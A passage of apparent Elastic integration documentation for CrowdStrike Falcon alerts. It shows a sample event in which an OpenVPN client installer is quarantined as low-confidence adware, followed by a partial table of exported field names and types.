"namespace": "96581", + "type": "logs" + }, + "device": { + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "manufacturer": "LENOVO", + "model": { + "name": "20VE" + } + }, + "ecs": { + "version": "8.17.0" + }, + "elastic_agent": { + "id": "d541c008-3558-403d-9392-4faa6d42fcb4", + "snapshot": true, + "version": "8.18.0" + }, + "event": { + "agent_id_status": "verified", + "category": [ + "process" + ], + "dataset": "crowdstrike.alert", + "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "ingested": "2025-10-09T10:20:29Z", + "kind": "alert", + "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K\\u0026cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ\\u0026-o0:dR/\\u003e\\u003e2J\\u003cd2T/ji6R\\u0026RIHe-tZSkP*q?HW;:leq.:kk)\\u003eIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6\\u003eZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg\\u003cLga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@\\u003cWalY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\\\u003cH^hNG\\\"ZQ3#U3\\\"eo\\u003c\\u003e92t[f!\\u003e*b9WLY@H!V0N,BJsNSTD:?/+fY';e\\u003cOHh9AmlT?5\\u003cgGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E\\u003cG5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb\\u003c6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O'=_7d#%u\\u0026d[+LTNDs\\u003c3307?8n=GrFI:4YYGCL,cIt-Tuj!\\u0026\\u003c6:3RbCuNjL#gW\\u0026=)E4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6\\u003ea%iM\\\"\\u003cFTSe/eH8M:\\u003c9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6\\u0026CHpVKO3\\u003cDgK9,Y/e@V\\\"b\\u0026m!\\u003c\\u003c'\",\"N6CU\\u0026%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.\\u0026eM\\u003cQer\\u003e__\\\"59K'R?_='rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A\\u0026FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\\\u0026\\u0026V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F\\u003c0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##\\u0026$^81(P+hN*-#rf/cUs)Wb\\\"\\u003c_/?I'[##WMh'H[Rcl+!!\\u003c\\u003c'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=\\u003e#DM0j$_\\u003cr/JG0TCEQ!Ug(be3)\\u0026R2JnX+RSqorgC-NCjf6XATBWX(5\\u003cL1J1DV\\u003e44ZjO9q*d!YLuHhkq!3\\u003e3tpi\\u003eOPYZp9]5f1#/AlRZL06/I6cl\\\"d.\\u0026=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"has_script_or_module_ioc\":\"true\",\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"is_synthetic_quarantine_disposition\":true,\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}", + "severity": 21, + "type": [ + "start" + ] + }, + "file": { + "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe" + }, + "host": { + "domain": "ABC.LOCAL", + "hostname": "ABC709-1175", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "ip": [ + "81.2.69.142" + ], + "mac": [ + "AB-21-48-61-05-B2" + ], + "os": { + "full": "Windows11", + "platform": "Windows", + "type": "windows" + } + }, + "input": { + "type": "cel" + }, + "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", + "process": { + "end": "2023-11-03T18:00:21.000Z", + "entity_id": "399748687993", + "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "hash": { + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" + }, + "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "parent": { + "command_line": "C:\\WINDOWS\\Explorer.EXE", + "entity_id": "392736520876", + "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", + "hash": { + "md5": "8cc3fcdd7d52d2d5221303c213e044ae", + "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4" + }, + "name": "explorer.exe", + "pid": 392736520876 + }, + "pid": 399748687993, + "start": "2023-11-03T18:00:13.000Z", + "user": { + "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "name": "mohit.jha" + } + }, + "related": { + "hash": [ + "b07f77fd3f9828b2c9d61f8a36609741", + "cdf9cfebb400ce89d5b6032bfcdc693b", + "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "8cc3fcdd7d52d2d5221303c213e044ae", + "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "0000000000000000000000000000000000000000" + ], + "hosts": [ + "ABC.LOCAL", + "ABC709-1175" + ], + "ip": [ + "81.2.69.142" + ], + "user": [ + "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "S-1-5-21-1909377054-3469629671-4104191496-4425", + "yuvraj.mahajan", + "mohit.jha" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "forwarded", + "crowdstrike-alert" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "id": [ + "CSTA0004" + ], + "name": [ + "MachineLearning" + ] + }, + "technique": { + "id": [ + "CST0000" + ], + "name": [ + "Adware/PUP" + ] + } + }, + "user": { + "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "name": "mohit.jha" + } +} +``` + +**Exported fields** + +| Field | Description | Type | +|---|---|---| +| @timestamp | Event timestamp. | date | +| crowdstrike.alert.active_directory_authentication_method | | long | +| crowdstrike.alert.activity.browser | | keyword | +| crowdstrike.alert.activity.device | | keyword | +| crowdstrike.alert.activity.id | | keyword | +| crowdstrike.alert.activity.os | | keyword | +| crowdstrike.alert.agent_id | | keyword | +| crowdstrike.alert.agent_scan_id | | keyword | +| crowdstrike.alert.aggregate_id | | keyword | +| crowdstrike.alert.alert_attributes | | long | +| crowdstrike.alert.alleged_filetype | | keyword | +| crowdstrike.alert.assigned_to.name | | keyword | +| crowdstrike.alert.assigned_to.uid | | keyword | +| crowdstrike.alert.assigned_to.uuid | | keyword | +| crowdstrike.alert.associated_files.filepath | | keyword | +| crowdstrike.alert.associated_files.sha256 | | keyword | +| crowdstrike.alert.child_process_ids | | keyword | +| crowdstrike.alert.cid | | keyword | +| crowdstrike.alert.cloud_indicator | | boolean | +| crowdstrike.alert.cmdline | | keyword | +| crowdstrike.alert.command_line | | keyword | +| crowdstrike.alert.comment | | keyword | +| crowdstrike.alert.composite_id | | keyword | +| crowdstrike.alert.confidence | | long | +| crowdstrike.alert.context_timestamp | | date | +| crowdstrike.alert.control_graph_id | | keyword | +| crowdstrike.alert.crawl_edge_ids.Sensor | | keyword | +| crowdstrike.alert.crawl_vertex_ids.Sensor | | keyword | +| crowdstrike.alert.crawled_timestamp | | date | +| crowdstrike.alert.created_timestamp | | date | +| crowdstrike.alert.data_domains | | keyword | +| crowdstrike.alert.description | | keyword | +| crowdstrike.alert.detect_type | | keyword | +| crowdstrike.alert.device.agent_load_flags | | long | +| crowdstrike.alert.device.agent_local_time | | date | +| crowdstrike.alert.device.agent_version | | keyword | +| crowdstrike.alert.device.bios_manufacturer | | keyword | +| crowdstrike.alert.device.bios_version | | keyword | +| crowdstrike.alert.device.cid | | keyword | +| crowdstrike.alert.device.config_id_base | | keyword | +| crowdstrike.alert.device.config_id_build | | keyword | +| crowdstrike.alert.device.config_id_platform | | long | +| crowdstrike.alert.device.external_ip | | ip | +| crowdstrike.alert.device.first_seen | | date | +| crowdstrike.alert.device.groups | | keyword | +| crowdstrike.alert.device.hostinfo.active_directory_dn_display | | keyword | +| crowdstrike.alert.device.hostinfo.domain | | keyword | +| crowdstrike.alert.device.hostname | | keyword | +| crowdstrike.alert.device.id | | keyword | +| crowdstrike.alert.device.last_seen | | date | +| crowdstrike.alert.device.local_ip | | ip | +| crowdstrike.alert.device.mac_address | | keyword | +| crowdstrike.alert.device.machine_domain | | keyword | +| crowdstrike.alert.device.major_version | | keyword | +| crowdstrike.alert.device.minor_version | | keyword | +| crowdstrike.alert.device.modified_timestamp | | date | +| crowdstrike.alert.device.os_version | | keyword | +| crowdstrike.alert.device.ou | | keyword | +| crowdstrike.alert.device.platform_id | | keyword | +| crowdstrike.alert.device.platform_name | | keyword | +| crowdstrike.alert.device.pod_labels | | keyword | +| crowdstrike.alert.device.product_type | | keyword | +| crowdstrike.alert.device.product_type_desc | | keyword | +| crowdstrike.alert.device.site_name | | keyword | +| crowdstrike.alert.device.status | | keyword | +| crowdstrike.alert.device.system_manufacturer | | keyword | +| crowdstrike.alert.device.system_product_name | | keyword | +| crowdstrike.alert.device.tags | | keyword | +| crowdstrike.alert.display_name | | keyword | +| crowdstrike.alert.documents_accessed.filename | | keyword | +| crowdstrike.alert.documents_accessed.filepath | | keyword | +| crowdstrike.alert.documents_accessed.timestamp | | date | +| crowdstrike.alert.email_sent | | boolean | +| crowdstrike.alert.end_time | | date | +| crowdstrike.alert.event_id | | keyword | +| crowdstrike.alert.executables_written.filename | | keyword | +| crowdstrike.alert.executables_written.filepath | | keyword | +| crowdstrike.alert.executables_written.timestamp | | date | +| crowdstrike.alert.falcon_host_link | | keyword | +| crowdstrike.alert.file_writes.name | | keyword | +| crowdstrike.alert.file_writes.sha256 | | keyword | +| crowdstrike.alert.filename | | keyword | +| crowdstrike.alert.filepath | | keyword | +| crowdstrike.alert.files_accessed.filename | | keyword | +| crowdstrike.alert.files_accessed.filepath | | keyword | +| crowdstrike.alert.files_accessed.timestamp | | date | +| crowdstrike.alert.files_written.filename | | keyword | +| crowdstrike.alert.files_written.filepath | | keyword | +| crowdstrike.alert.files_written.timestamp | | date | +| crowdstrike.alert.global_prevalence | | keyword | +| crowdstrike.alert.grandparent_details.cmdline | | keyword | +| crowdstrike.alert.grandparent_details.filename | | keyword | +| crowdstrike.alert.grandparent_details.filepath | | keyword | +| crowdstrike.alert.grandparent_details.local_process_id | | keyword | +| crowdstrike.alert.grandparent_details.md5 | | keyword | +| crowdstrike.alert.grandparent_details.process_graph_id | | keyword | +| crowdstrike.alert.grandparent_details.process_id | | keyword | +| crowdstrike.alert.grandparent_details.sha256 | | keyword | +| crowdstrike.alert.grandparent_details.timestamp | | date | +| crowdstrike.alert.grandparent_details.user_graph_id | | keyword | +| crowdstrike.alert.grandparent_details.user_id | | keyword | +| crowdstrike.alert.grandparent_details.user_name | | keyword | +| crowdstrike.alert.has_script_or_module_ioc | | boolean | +| crowdstrike.alert.host_name | | keyword | +| crowdstrike.alert.host_type | | keyword | +| crowdstrike.alert.id | | keyword | +| crowdstrike.alert.idp_policy.enforced_externally | | long | +| crowdstrike.alert.idp_policy.mfa_factor_type | | long | +| crowdstrike.alert.idp_policy.mfa_provider | | long | +| crowdstrike.alert.idp_policy.rule_action | | long | +| crowdstrike.alert.idp_policy.rule_id | | keyword | +| crowdstrike.alert.idp_policy.rule_name | | keyword | +| crowdstrike.alert.idp_policy.rule_trigger | | long | +| crowdstrike.alert.image_file_name | | keyword | +| crowdstrike.alert.incident.created | | date | +| crowdstrike.alert.incident.end | | date | +| crowdstrike.alert.incident.id | | keyword | +| crowdstrike.alert.incident.score | | double | +| crowdstrike.alert.incident.start | | date | +| crowdstrike.alert.indicator_id | | keyword | +| crowdstrike.alert.ioc_context.cmdline | | keyword | +| crowdstrike.alert.ioc_context.ioc_description | | keyword | +| crowdstrike.alert.ioc_context.ioc_source | | keyword | +| crowdstrike.alert.ioc_context.ioc_type | | keyword | +| crowdstrike.alert.ioc_context.ioc_value | | keyword | +| crowdstrike.alert.ioc_context.md5 | | keyword | +| crowdstrike.alert.ioc_context.sha256 | | keyword | +| crowdstrike.alert.ioc_context.type | | keyword | +| crowdstrike.alert.ioc_description | | keyword | +| crowdstrike.alert.ioc_source | | keyword | +| crowdstrike.alert.ioc_type | | keyword | +| crowdstrike.alert.ioc_value | | keyword | +| crowdstrike.alert.ioc_values | | keyword | +| crowdstrike.alert.is_synthetic_quarantine_disposition | | boolean | +| crowdstrike.alert.ldap_search_query_attack | | long | +| crowdstrike.alert.local_prevalence | | keyword | +| crowdstrike.alert.local_process_id | | keyword | +| crowdstrike.alert.location_country_code | | keyword | +| crowdstrike.alert.location_latitude_as_int | | long | +| crowdstrike.alert.location_longitude_as_int | | long | +| crowdstrike.alert.logon_domain | | keyword | +| crowdstrike.alert.md5 | | keyword | +| crowdstrike.alert.mitre_attack.pattern_id | | keyword | +| crowdstrike.alert.mitre_attack.tactic | | keyword | +| crowdstrike.alert.mitre_attack.tactic_id | | keyword | +| crowdstrike.alert.mitre_attack.technique | | keyword | +| crowdstrike.alert.mitre_attack.technique_id | | keyword | +| crowdstrike.alert.model_anomaly_indicators | | keyword | +| crowdstrike.alert.name | | keyword | +| crowdstrike.alert.network_accesses.access_timestamp | | date | +| crowdstrike.alert.network_accesses.access_type | | long | +| crowdstrike.alert.network_accesses.connection_direction | | keyword | +| crowdstrike.alert.network_accesses.isIPV6 | | boolean | +| crowdstrike.alert.network_accesses.local_address | | ip | +| crowdstrike.alert.network_accesses.local_port | | long | +| crowdstrike.alert.network_accesses.protocol | | keyword | +| crowdstrike.alert.network_accesses.remote_address | | ip | +| crowdstrike.alert.network_accesses.remote_port | | long | +| crowdstrike.alert.objective | | keyword | +| crowdstrike.alert.operating_system | | keyword | +| crowdstrike.alert.os_name | | keyword | +| crowdstrike.alert.overwatch_note | | keyword | +| crowdstrike.alert.overwatch_note_timestamp | | date | +| crowdstrike.alert.parent_details.cmdline | | keyword | +| crowdstrike.alert.parent_details.filename | | keyword | +| crowdstrike.alert.parent_details.filepath | | keyword | +| crowdstrike.alert.parent_details.local_process_id | | keyword | +| crowdstrike.alert.parent_details.md5 | | keyword | +| crowdstrike.alert.parent_details.process_graph_id | | keyword | +| crowdstrike.alert.parent_details.process_id | | keyword | +| crowdstrike.alert.parent_details.sha256 | | keyword | +| crowdstrike.alert.parent_details.timestamp | | date | +| crowdstrike.alert.parent_details.user_graph_id | | keyword | +| crowdstrike.alert.parent_details.user_id | | keyword | +| crowdstrike.alert.parent_details.user_name | | keyword | +| crowdstrike.alert.parent_process_id | | keyword | +| crowdstrike.alert.pattern_disposition | | long | +| crowdstrike.alert.pattern_disposition_description | | keyword | +| crowdstrike.alert.pattern_disposition_details.blocking_unsupported_or_disabled | | boolean | +| crowdstrike.alert.pattern_disposition_details.bootup_safeguard_enabled | | boolean | +| crowdstrike.alert.pattern_disposition_details.containment_file_system | | boolean | +| crowdstrike.alert.pattern_disposition_details.critical_process_disabled | | boolean | +| crowdstrike.alert.pattern_disposition_details.detect | | boolean | +| crowdstrike.alert.pattern_disposition_details.fs_operation_blocked | | boolean | +| crowdstrike.alert.pattern_disposition_details.handle_operation_downgraded | | boolean | +| crowdstrike.alert.pattern_disposition_details.inddet_mask | | boolean | +| crowdstrike.alert.pattern_disposition_details.indicator | | boolean | +| crowdstrike.alert.pattern_disposition_details.kill_action_failed | | boolean | +| crowdstrike.alert.pattern_disposition_details.kill_parent | | boolean | +| crowdstrike.alert.pattern_disposition_details.kill_process | | boolean | +| crowdstrike.alert.pattern_disposition_details.kill_subprocess | | boolean | +| crowdstrike.alert.pattern_disposition_details.mfa_required | | boolean | +| crowdstrike.alert.pattern_disposition_details.operation_blocked | | boolean | +| crowdstrike.alert.pattern_disposition_details.policy_disabled | | boolean | +| crowdstrike.alert.pattern_disposition_details.prevention_provisioning_enabled | | boolean | +| crowdstrike.alert.pattern_disposition_details.process_blocked | | boolean | +| crowdstrike.alert.pattern_disposition_details.quarantine_file | | boolean | +| crowdstrike.alert.pattern_disposition_details.quarantine_machine | | boolean | +| crowdstrike.alert.pattern_disposition_details.registry_operation_blocked | | boolean | +| crowdstrike.alert.pattern_disposition_details.response_action_already_applied | | boolean | +| crowdstrike.alert.pattern_disposition_details.response_action_failed | | boolean | +| crowdstrike.alert.pattern_disposition_details.response_action_triggered | | boolean | +| crowdstrike.alert.pattern_disposition_details.rooting | | boolean | +| crowdstrike.alert.pattern_disposition_details.sensor_only | | boolean | +| crowdstrike.alert.pattern_disposition_details.suspend_parent | | boolean | +| crowdstrike.alert.pattern_disposition_details.suspend_process | | boolean | +| crowdstrike.alert.pattern_id | | keyword | +| crowdstrike.alert.platform | | keyword | +| crowdstrike.alert.poly_id | | keyword | +| crowdstrike.alert.prevented | | boolean | +| crowdstrike.alert.process_end_time | | date | +| crowdstrike.alert.process_id | | keyword | +| crowdstrike.alert.process_start_time | | date | +| crowdstrike.alert.product | | keyword | +| crowdstrike.alert.protocol_anomaly_classification | | long | +| crowdstrike.alert.quarantined | | boolean | +| crowdstrike.alert.quarantined_files.filename | | keyword | +| crowdstrike.alert.quarantined_files.id | | keyword | +| crowdstrike.alert.quarantined_files.sha256 | | keyword | +| crowdstrike.alert.quarantined_files.state | | keyword | +| crowdstrike.alert.rule_group_id | | keyword | +| crowdstrike.alert.rule_group_name | | keyword | +| crowdstrike.alert.rule_instance_created_by | | keyword | +| crowdstrike.alert.rule_instance_id | | keyword | +| crowdstrike.alert.rule_instance_name | | keyword | +| crowdstrike.alert.rule_instance_version | | keyword | +| crowdstrike.alert.scan_id | | 